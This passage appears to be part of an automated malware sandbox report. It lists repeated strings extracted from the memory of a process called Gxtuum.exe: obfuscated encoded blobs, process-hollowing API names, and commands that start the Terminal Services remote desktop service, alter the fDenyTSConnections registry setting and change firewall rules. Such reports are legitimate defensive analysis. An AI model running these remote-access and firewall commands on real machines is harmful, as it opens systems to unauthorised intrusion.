SW4ZR30OMKp4Vyrc7hPcT yMmsceVJnJMIldBC7LyYh3OR5IrN7fDFmMCscdOxf cwxZOYiL90EOS0ydBTuguUU6PyhOnx7eECw90E8gylp 90zYYPlguUz5zGhY1WCEd1OGIonJIRxLNY=OK0HA7==SVNda RBOepqXm==TU9obwMydxZUhPulFaydcMxhcTOlbKclea9YJN57dtZmeVCtCPSubLRj0Z oX0H=XTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcTU2t4zSWZ2FD0T2pVIElePBVbwMCThDt2I==TU9naxM4ZSHO1OUl1OJdXwMqZXfpdems3O2rcMBne0S5br5UhPoqKJzDNyS2Qr 5CN5=OPVo9MEzZBStXTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcYOYp5ySgVrh 1T gO40EYxJJRvo0SPPFWTp=XTlNTuMRXzLvefKy3UuPZ2MlOAGgS6MogeldXNEgQhDzdOGE2PKsbLBUZC0tXKMlYeleXM0NRv==0vAqKtr=UyVgWNMwdALlgzKp3eavLqdH1UOz LMQdO9oUyVgWNMwdALlgzKp3eavLqhH1UOz LMQdO9oXS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVMaRbIgQYTyfeOu5xWhcsJedZ5=XzJpXxMndz3heON=PbArMG==PbAsK7==PbArL7==PbAsLG==TVVsacMydzH1dOqk0s==Rbo0ffVoXwowMuGu2PalOUsaLfRbaSkvaRvsLu2mzu6lbXw8LaAgH9s4aRZleVO0zvBcJnU61DWwGE==MaYaPN9tdxG=LaAgH9sCZR2gLuYgGq==Xy9XXNADaBTseuYl6yR=OOVYXME5dBjvefuv3yifeXxn1T2zbKMpdOdoXMHkLPXpeyNgz9==L9==fUhVbwIzdX2gOPFgCPNcMF==fVQ3am==feFoXw0xVUVZWc0lchOgWyy53VSWXKxn1TyzW0H=PvAqKtr4MOi=PvAqKtr4MeG=PvAqKtr4MeK=PvAqKtr4MXW=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule gr
Source: Gxtuum.exe	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000013.00000002.1602351939.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000013.00000002.1602351939.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd3a5912ea69ad34a2387af70c8be9e2143266f2abbf198987ad62d4962cf71340f3be6bcafd92004fa390d280e7ea4875c9234PLgVJ 8BLeW4Obx0Eo==OrdW9wQuaXSzOUeuQyS0Lsxdex==PLgVJ 8BLeW4Obx0Fs==OrhAbdL5ahe0UyCTCUiqZLRTNkCsaE==QK4rKq==Xq0f xLxMK1mbG==OKVmbG==2OUsMMMlNOy419==UVhUbNMxLhT42I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyR6W 2I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7TNEpcdzTdyOs3uyCb7t 1UKDXVRbadI5cv==XeVn1U1eGs0HIAHNUweSzu6vL8A6XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyffVoXwowMuGgXzJpXTAlbSK=XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7SS9pbBugUe2sQySucB==MNVNPLAUUf7GVMqFAI==0wFqaq==Xw9NTq==USVOdOQ0gfM0fUQ0eVM01ek01PI0fyM0gO402y001PY0ezY0eUc0fb0=1VJfXsWobBv81Uqp4u2gbLtX1VJfXsWobBu=1UxjasWobBu=2vE=2LE=2LI=2LM=WOFj 7==dzRUatfzLr==dzRUaxD Lt6=2Phf2yxm1U1efzMrePNjhelqOVFV9MM4SyM+SyQ+OTBmbM5tbiKvNqslLo==is==MfVo9NHcSI==fUhf wnDMd3keyp=dUVs cMwMuGu2yqsUUVURcw4aSXlXVez5ySpS11bdt==XzJpXTAlbPPhgyycTNZvSRHkUX7mgz7h4eR=TPZjacv=VUFtawMCcXr5LwqhP9==UNNzTq==XyFoXwvkUXTjgPCp5zh=Uy9dbw0CIAbl19==TNZBPrYqTw04YRvT2OG14eiWeV==TelUXwMqZR3k2PB=We9sbw0yXU9q9w0DTU9n SIzYUloPwMqZR3k2PB=PvEsKpH5Nea4RI==feI=gUI=TU9obwMydxZUhPulFaypd1tPcUClarHl2e9s ISoYSPhRqui3VSqZLBngQ1xJWRjOK0nJIRxGIpx SW4ZR30OMKp4Vyrc7hPcT yMmsceVJnJMIldBC7LyYh3OR5IrN7fDFmMCscdOxf cwxZOYiL90EOS0ydBTuguUU6PyhOnx7eECw90E8gylp 90zYYPlguUz5zGhY1WCEd1OGIonJIRxLNY=OK0HA7==SVNda RBOepqXm==TU9obwMydxZUhPulFaydcMxhcTOlbKclea9YJN57dtZmeVCtCPSubLRj0Z oX0H=XTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcTU2t4zSWZ2FD0T2pVIElePBVbwMCThDt2I==TU9naxM4ZSHO1OUl1OJdXwMqZXfpdems3O2rcMBne0S5br5UhPoqKJzDNyS2Qr 5CN5=OPVo9MEzZBStXTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcYOYp5ySgVrh 1T gO40EYxJJRvo0SPPFWTp=XTlNTuMRXzLvefKy3UuPZ2MlOAGgS6MogeldXNEgQhDzdOGE2PKsbLBUZC0tXKMlYeleXM0NRv==0vAqKtr=UyVgWNMwdALlgzKp3eavLqdH1UOz LMQdO9oUyVgWNMwdALlgzKp3eavLqhH1UOz LMQdO9oXS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVMaRbIgQYTyfeOu5xWhcsJedZ5=XzJpXxMndz3heON=PbArMG==PbAsK7==PbArL7==PbAsLG==TVVsacMydzH1dOqk0s==Rbo0ffVoXwowMuGu2PalOUsaLfRbaSkvaRvsLu2mzu6lbXw8LaAgH9s4aRZleVO0zvBcJnU61DWwGE==MaYaPN9tdxG=LaAgH9sCZR2gLuYgGq==Xy9XXNADaBTseuYl6yR=OOVYXME5dBjvefuv3yifeXxn1T2zbKMpdOdoXMHkLPXpeyNgz9==L9==fUhVbwIzdX2gOPFgCPNcMF==fVQ3am==feFoXw0xVUVZWc0lchOgWyy53VSWXKxn1TyzW0H=PvAqKtr4MOi=PvAqKtr4MeG=PvAqKtr4MeK=PvAqKtr4MXW=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule gr
Source: Gxtuum.exe, 00000013.00000000.1599363776.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000013.00000000.1599363776.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd3a5912ea69ad34a2387af70c8be9e2143266f2abbf198987ad62d4962cf71340f3be6bcafd92004fa390d280e7ea4875c9234PLgVJ 8BLeW4Obx0Eo==OrdW9wQuaXSzOUeuQyS0Lsxdex==PLgVJ 8BLeW4Obx0Fs==OrhAbdL5ahe0UyCTCUiqZLRTNkCsaE==QK4rKq==Xq0f xLxMK1mbG==OKVmbG==2OUsMMMlNOy419==UVhUbNMxLhT42I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyR6W 2I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7TNEpcdzTdyOs3uyCb7t 1UKDXVRbadI5cv==XeVn1U1eGs0HIAHNUweSzu6vL8A6XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyffVoXwowMuGgXzJpXTAlbSK=XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7SS9pbBugUe2sQySucB==MNVNPLAUUf7GVMqFAI==0wFqaq==Xw9NTq==USVOdOQ0gfM0fUQ0eVM01ek01PI0fyM0gO402y001PY0ezY0eUc0fb0=1VJfXsWobBv81Uqp4u2gbLtX1VJfXsWobBu=1UxjasWobBu=2vE=2LE=2LI=2LM=WOFj 7==dzRUatfzLr==dzRUaxD Lt6=2Phf2yxm1U1efzMrePNjhelqOVFV9MM4SyM+SyQ+OTBmbM5tbiKvNqslLo==is==MfVo9NHcSI==fUhf wnDMd3keyp=dUVs cMwMuGu2yqsUUVURcw4aSXlXVez5ySpS11bdt==XzJpXTAlbPPhgyycTNZvSRHkUX7mgz7h4eR=TPZjacv=VUFtawMCcXr5LwqhP9==UNNzTq==XyFoXwvkUXTjgPCp5zh=Uy9dbw0CIAbl19==TNZBPrYqTw04YRvT2OG14eiWeV==TelUXwMqZR3k2PB=We9sbw0yXU9q9w0DTU9n SIzYUloPwMqZR3k2PB=PvEsKpH5Nea4RI==feI=gUI=TU9obwMydxZUhPulFaypd1tPcUClarHl2e9s ISoYSPhRqui3VSqZLBngQ1xJWRjOK0nJIRxGIpx SW4ZR30OMKp4Vyrc7hPcT yMmsceVJnJMIldBC7LyYh3OR5IrN7fDFmMCscdOxf cwxZOYiL90EOS0ydBTuguUU6PyhOnx7eECw90E8gylp 90zYYPlguUz5zGhY1WCEd1OGIonJIRxLNY=OK0HA7==SVNda RBOepqXm==TU9obwMydxZUhPulFaydcMxhcTOlbKclea9YJN57dtZmeVCtCPSubLRj0Z oX0H=XTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcTU2t4zSWZ2FD0T2pVIElePBVbwMCThDt2I==TU9naxM4ZSHO1OUl1OJdXwMqZXfpdems3O2rcMBne0S5br5UhPoqKJzDNyS2Qr 5CN5=OPVo9MEzZBStXTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcYOYp5ySgVrh 1T gO40EYxJJRvo0SPPFWTp=XTlNTuMRXzLvefKy3UuPZ2MlOAGgS6MogeldXNEgQhDzdOGE2PKsbLBUZC0tXKMlYeleXM0NRv==0vAqKtr=UyVgWNMwdALlgzKp3eavLqdH1UOz LMQdO9oUyVgWNMwdALlgzKp3eavLqhH1UOz LMQdO9oXS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVMaRbIgQYTyfeOu5xWhcsJedZ5=XzJpXxMndz3heON=PbArMG==PbAsK7==PbArL7==PbAsLG==TVVsacMydzH1dOqk0s==Rbo0ffVoXwowMuGu2PalOUsaLfRbaSkvaRvsLu2mzu6lbXw8LaAgH9s4aRZleVO0zvBcJnU61DWwGE==MaYaPN9tdxG=LaAgH9sCZR2gLuYgGq==Xy9XXNADaBTseuYl6yR=OOVYXME5dBjvefuv3yifeXxn1T2zbKMpdOdoXMHkLPXpeyNgz9==L9==fUhVbwIzdX2gOPFgCPNcMF==fVQ3am==feFoXw0xVUVZWc0lchOgWyy53VSWXKxn1TyzW0H=PvAqKtr4MOi=PvAqKtr4MeG=PvAqKtr4MeK=PvAqKtr4MXW=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule gr
Source: Gxtuum.exe	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000014.00000000.1601024347.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000014.00000000.1601024347.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd3a5912ea69ad34a2387af70c8be9e2143266f2abbf198987ad62d4962cf71340f3be6bcafd92004fa390d280e7ea4875c9234PLgVJ 8BLeW4Obx0Eo==OrdW9wQuaXSzOUeuQyS0Lsxdex==PLgVJ 8BLeW4Obx0Fs==OrhAbdL5ahe0UyCTCUiqZLRTNkCsaE==QK4rKq==Xq0f xLxMK1mbG==OKVmbG==2OUsMMMlNOy419==UVhUbNMxLhT42I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyR6W 2I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7TNEpcdzTdyOs3uyCb7t 1UKDXVRbadI5cv==XeVn1U1eGs0HIAHNUweSzu6vL8A6XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyffVoXwowMuGgXzJpXTAlbSK=XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7SS9pbBugUe2sQySucB==MNVNPLAUUf7GVMqFAI==0wFqaq==Xw9NTq==USVOdOQ0gfM0fUQ0eVM01ek01PI0fyM0gO402y001PY0ezY0eUc0fb0=1VJfXsWobBv81Uqp4u2gbLtX1VJfXsWobBu=1UxjasWobBu=2vE=2LE=2LI=2LM=WOFj 7==dzRUatfzLr==dzRUaxD Lt6=2Phf2yxm1U1efzMrePNjhelqOVFV9MM4SyM+SyQ+OTBmbM5tbiKvNqslLo==is==MfVo9NHcSI==fUhf wnDMd3keyp=dUVs cMwMuGu2yqsUUVURcw4aSXlXVez5ySpS11bdt==XzJpXTAlbPPhgyycTNZvSRHkUX7mgz7h4eR=TPZjacv=VUFtawMCcXr5LwqhP9==UNNzTq==XyFoXwvkUXTjgPCp5zh=Uy9dbw0CIAbl19==TNZBPrYqTw04YRvT2OG14eiWeV==TelUXwMqZR3k2PB=We9sbw0yXU9q9w0DTU9n SIzYUloPwMqZR3k2PB=PvEsKpH5Nea4RI==feI=gUI=TU9obwMydxZUhPulFaypd1tPcUClarHl2e9s ISoYSPhRqui3VSqZLBngQ1xJWRjOK0nJIRxGIpx SW4ZR30OMKp4Vyrc7hPcT yMmsceVJnJMIldBC7LyYh3OR5IrN7fDFmMCscdOxf cwxZOYiL90EOS0ydBTuguUU6PyhOnx7eECw90E8gylp 90zYYPlguUz5zGhY1WCEd1OGIonJIRxLNY=OK0HA7==SVNda RBOepqXm==TU9obwMydxZUhPulFaydcMxhcTOlbKclea9YJN57dtZmeVCtCPSubLRj0Z oX0H=XTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcTU2t4zSWZ2FD0T2pVIElePBVbwMCThDt2I==TU9naxM4ZSHO1OUl1OJdXwMqZXfpdems3O2rcMBne0S5br5UhPoqKJzDNyS2Qr 5CN5=OPVo9MEzZBStXTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcYOYp5ySgVrh 1T gO40EYxJJRvo0SPPFWTp=XTlNTuMRXzLvefKy3UuPZ2MlOAGgS6MogeldXNEgQhDzdOGE2PKsbLBUZC0tXKMlYeleXM0NRv==0vAqKtr=UyVgWNMwdALlgzKp3eavLqdH1UOz LMQdO9oUyVgWNMwdALlgzKp3eavLqhH1UOz LMQdO9oXS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVMaRbIgQYTyfeOu5xWhcsJedZ5=XzJpXxMndz3heON=PbArMG==PbAsK7==PbArL7==PbAsLG==TVVsacMydzH1dOqk0s==Rbo0ffVoXwowMuGu2PalOUsaLfRbaSkvaRvsLu2mzu6lbXw8LaAgH9s4aRZleVO0zvBcJnU61DWwGE==MaYaPN9tdxG=LaAgH9sCZR2gLuYgGq==Xy9XXNADaBTseuYl6yR=OOVYXME5dBjvefuv3yifeXxn1T2zbKMpdOdoXMHkLPXpeyNgz9==L9==fUhVbwIzdX2gOPFgCPNcMF==fVQ3am==feFoXw0xVUVZWc0lchOgWyy53VSWXKxn1TyzW0H=PvAqKtr4MOi=PvAqKtr4MeG=PvAqKtr4MeK=PvAqKtr4MXW=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule gr
Source: Gxtuum.exe, 00000014.00000002.1606998241.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000014.00000002.1606998241.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd3a5912ea69ad34a2387af70c8be9e2143266f2abbf198987ad62d4962cf71340f3be6bcafd92004fa390d280e7ea4875c9234PLgVJ 8BLeW4Obx0Eo==OrdW9wQuaXSzOUeuQyS0Lsxdex==PLgVJ 8BLeW4Obx0Fs==OrhAbdL5ahe0UyCTCUiqZLRTNkCsaE==QK4rKq==Xq0f xLxMK1mbG==OKVmbG==2OUsMMMlNOy419==UVhUbNMxLhT42I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyR6W 2I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7TNEpcdzTdyOs3uyCb7t 1UKDXVRbadI5cv==XeVn1U1eGs0HIAHNUweSzu6vL8A6XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyffVoXwowMuGgXzJpXTAlbSK=XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7SS9pbBugUe2sQySucB==MNVNPLAUUf7GVMqFAI==0wFqaq==Xw9NTq==USVOdOQ0gfM0fUQ0eVM01ek01PI0fyM0gO402y001PY0ezY0eUc0fb0=1VJfXsWobBv81Uqp4u2gbLtX1VJfXsWobBu=1UxjasWobBu=2vE=2LE=2LI=2LM=WOFj 7==dzRUatfzLr==dzRUaxD Lt6=2Phf2yxm1U1efzMrePNjhelqOVFV9MM4SyM+SyQ+OTBmbM5tbiKvNqslLo==is==MfVo9NHcSI==fUhf wnDMd3keyp=dUVs cMwMuGu2yqsUUVURcw4aSXlXVez5ySpS11bdt==XzJpXTAlbPPhgyycTNZvSRHkUX7mgz7h4eR=TPZjacv=VUFtawMCcXr5LwqhP9==UNNzTq==XyFoXwvkUXTjgPCp5zh=Uy9dbw0CIAbl19==TNZBPrYqTw04YRvT2OG14eiWeV==TelUXwMqZR3k2PB=We9sbw0yXU9q9w0DTU9n SIzYUloPwMqZR3k2PB=PvEsKpH5Nea4RI==feI=gUI=TU9obwMydxZUhPulFaypd1tPcUClarHl2e9s ISoYSPhRqui3VSqZLBngQ1xJWRjOK0nJIRxGIpx SW4ZR30OMKp4Vyrc7hPcT yMmsceVJnJMIldBC7LyYh3OR5IrN7fDFmMCscdOxf cwxZOYiL90EOS0ydBTuguUU6PyhOnx7eECw90E8gylp 90zYYPlguUz5zGhY1WCEd1OGIonJIRxLNY=OK0HA7==SVNda RBOepqXm==TU9obwMydxZUhPulFaydcMxhcTOlbKclea9YJN57dtZmeVCtCPSubLRj0Z oX0H=XTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcTU2t4zSWZ2FD0T2pVIElePBVbwMCThDt2I==TU9naxM4ZSHO1OUl1OJdXwMqZXfpdems3O2rcMBne0S5br5UhPoqKJzDNyS2Qr 5CN5=OPVo9MEzZBStXTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcYOYp5ySgVrh 1T gO40EYxJJRvo0SPPFWTp=XTlNTuMRXzLvefKy3UuPZ2MlOAGgS6MogeldXNEgQhDzdOGE2PKsbLBUZC0tXKMlYeleXM0NRv==0vAqKtr=UyVgWNMwdALlgzKp3eavLqdH1UOz LMQdO9oUyVgWNMwdALlgzKp3eavLqhH1UOz LMQdO9oXS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVMaRbIgQYTyfeOu5xWhcsJedZ5=XzJpXxMndz3heON=PbArMG==PbAsK7==PbArL7==PbAsLG==TVVsacMydzH1dOqk0s==Rbo0ffVoXwowMuGu2PalOUsaLfRbaSkvaRvsLu2mzu6lbXw8LaAgH9s4aRZleVO0zvBcJnU61DWwGE==MaYaPN9tdxG=LaAgH9sCZR2gLuYgGq==Xy9XXNADaBTseuYl6yR=OOVYXME5dBjvefuv3yifeXxn1T2zbKMpdOdoXMHkLPXpeyNgz9==L9==fUhVbwIzdX2gOPFgCPNcMF==fVQ3am==feFoXw0xVUVZWc0lchOgWyy53VSWXKxn1TyzW0H=PvAqKtr4MOi=PvAqKtr4MeG=PvAqKtr4MeK=PvAqKtr4MXW=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule gr
Source: Gxtuum.exe, 00000017.00000000.2146010133.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000017.00000000.2146010133.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd3a5912ea69ad34a2387af70c8be9e2143266f2abbf198987ad62d4962cf71340f3be6bcafd92004fa390d280e7ea4875c9234PLgVJ 8BLeW4Obx0Eo==OrdW9wQuaXSzOUeuQyS0Lsxdex==PLgVJ 8BLeW4Obx0Fs==OrhAbdL5ahe0UyCTCUiqZLRTNkCsaE==QK4rKq==Xq0f xLxMK1mbG==OKVmbG==2OUsMMMlNOy419==UVhUbNMxLhT42I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyR6W 2I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7TNEpcdzTdyOs3uyCb7t 1UKDXVRbadI5cv==XeVn1U1eGs0HIAHNUweSzu6vL8A6XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyffVoXwowMuGgXzJpXTAlbSK=XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7SS9pbBugUe2sQySucB==MNVNPLAUUf7GVMqFAI==0wFqaq==Xw9NTq==USVOdOQ0gfM0fUQ0eVM01ek01PI0fyM0gO402y001PY0ezY0eUc0fb0=1VJfXsWobBv81Uqp4u2gbLtX1VJfXsWobBu=1UxjasWobBu=2vE=2LE=2LI=2LM=WOFj 7==dzRUatfzLr==dzRUaxD Lt6=2Phf2yxm1U1efzMrePNjhelqOVFV9MM4SyM+SyQ+OTBmbM5tbiKvNqslLo==is==MfVo9NHcSI==fUhf wnDMd3keyp=dUVs cMwMuGu2yqsUUVURcw4aSXlXVez5ySpS11bdt==XzJpXTAlbPPhgyycTNZvSRHkUX7mgz7h4eR=TPZjacv=VUFtawMCcXr5LwqhP9==UNNzTq==XyFoXwvkUXTjgPCp5zh=Uy9dbw0CIAbl19==TNZBPrYqTw04YRvT2OG14eiWeV==TelUXwMqZR3k2PB=We9sbw0yXU9q9w0DTU9n SIzYUloPwMqZR3k2PB=PvEsKpH5Nea4RI==feI=gUI=TU9obwMydxZUhPulFaypd1tPcUClarHl2e9s ISoYSPhRqui3VSqZLBngQ1xJWRjOK0nJIRxGIpx SW4ZR30OMKp4Vyrc7hPcT yMmsceVJnJMIldBC7LyYh3OR5IrN7fDFmMCscdOxf cwxZOYiL90EOS0ydBTuguUU6PyhOnx7eECw90E8gylp 90zYYPlguUz5zGhY1WCEd1OGIonJIRxLNY=OK0HA7==SVNda RBOepqXm==TU9obwMydxZUhPulFaydcMxhcTOlbKclea9YJN57dtZmeVCtCPSubLRj0Z oX0H=XTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcTU2t4zSWZ2FD0T2pVIElePBVbwMCThDt2I==TU9naxM4ZSHO1OUl1OJdXwMqZXfpdems3O2rcMBne0S5br5UhPoqKJzDNyS2Qr 5CN5=OPVo9MEzZBStXTlNTuMRXzL1ffCl3fOzb71Pej wS6MQ0wNp dICbXvcYOYp5ySgVrh 1T gO40EYxJJRvo0SPPFWTp=XTlNTuMRXzLvefKy3UuPZ2MlOAGgS6MogeldXNEgQhDzdOGE2PKsbLBUZC0tXKMlYeleXM0NRv==0vAqKtr=UyVgWNMwdALlgzKp3eavLqdH1UOz LMQdO9oUyVgWNMwdALlgzKp3eavLqhH1UOz LMQdO9oXS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVMaRbIgQYTyfeOu5xWhcsJedZ5=XzJpXxMndz3heON=PbArMG==PbAsK7==PbArL7==PbAsLG==TVVsacMydzH1dOqk0s==Rbo0ffVoXwowMuGu2PalOUsaLfRbaSkvaRvsLu2mzu6lbXw8LaAgH9s4aRZleVO0zvBcJnU61DWwGE==MaYaPN9tdxG=LaAgH9sCZR2gLuYgGq==Xy9XXNADaBTseuYl6yR=OOVYXME5dBjvefuv3yifeXxn1T2zbKMpdOdoXMHkLPXpeyNgz9==L9==fUhVbwIzdX2gOPFgCPNcMF==fVQ3am==feFoXw0xVUVZWc0lchOgWyy53VSWXKxn1TyzW0H=PvAqKtr4MOi=PvAqKtr4MeG=PvAqKtr4MeK=PvAqKtr4MXW=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule gr
Source: Gxtuum.exe, 00000017.00000002.3798952839.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000017.00000002.3798952839.0000000000351000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setd3a5912ea69ad34a2387af70c8be9e2143266f2abbf198987ad62d4962cf71340f3be6bcafd92004fa390d280e7ea4875c9234PLgVJ 8BLeW4Obx0Eo==OrdW9wQuaXSzOUeuQyS0Lsxdex==PLgVJ 8BLeW4Obx0Fs==OrhAbdL5ahe0UyCTCUiqZLRTNkCsaE==QK4rKq==Xq0f xLxMK1mbG==OKVmbG==2OUsMMMlNOy419==UVhUbNMxLhT42I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyR6W 2I==XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA K0o2PJ7TNEpcdzTdyOs3uyCb7t 1UKDXVRbadI5cv==XeVn1U1eGs0HIAHNUweSzu6vL8A6XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712WkWyffVoXwowMuGgXzJpXTAlbSK=XS9ATv5FUfTcWOej4e6vb7VPZCet qIlgVN7OTMCchTugxSl4fKlb712TUiA 